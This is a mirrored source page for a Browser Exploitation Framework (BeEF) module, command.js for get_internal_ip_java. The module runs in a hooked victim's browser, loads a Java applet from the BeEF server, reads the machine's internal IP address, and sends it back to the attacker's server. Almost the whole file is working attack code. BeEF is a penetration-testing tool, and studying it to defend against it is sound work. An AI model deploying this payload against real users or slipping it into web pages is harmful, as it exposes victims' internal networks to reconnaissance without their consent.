Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/host/get_internal_ip_java/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var applet_uri = beef.net.httpproto + '://'+beef.net.host+ ':' + beef.net.port + '/';
10
var internal_counter = 0;
11
var timeout = 30;
12
var output;
13
beef.dom.attachApplet('get_internal_ip', 'get_internal_ip', 'get_internal_ip' ,
14
applet_uri, null, null);
15
16
function waituntilok() {
17
try {
18
output = document.get_internal_ip.ip();
19
beef.net.send('<%= @command_url %>', <%= @command_id %>, output);
20
beef.dom.detachApplet('get_internal_ip');
21
return;
22
} catch (e) {
23
internal_counter++;
24
if (internal_counter > timeout) {
25
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Timeout after '+timeout+' seconds');
26
beef.dom.detachApplet('get_internal_ip');
27
return;
28
}
29
setTimeout(function() {waituntilok()},1000);
30
}
31
}
32
33
setTimeout(function() {waituntilok()},5000);
34
35
});
36
37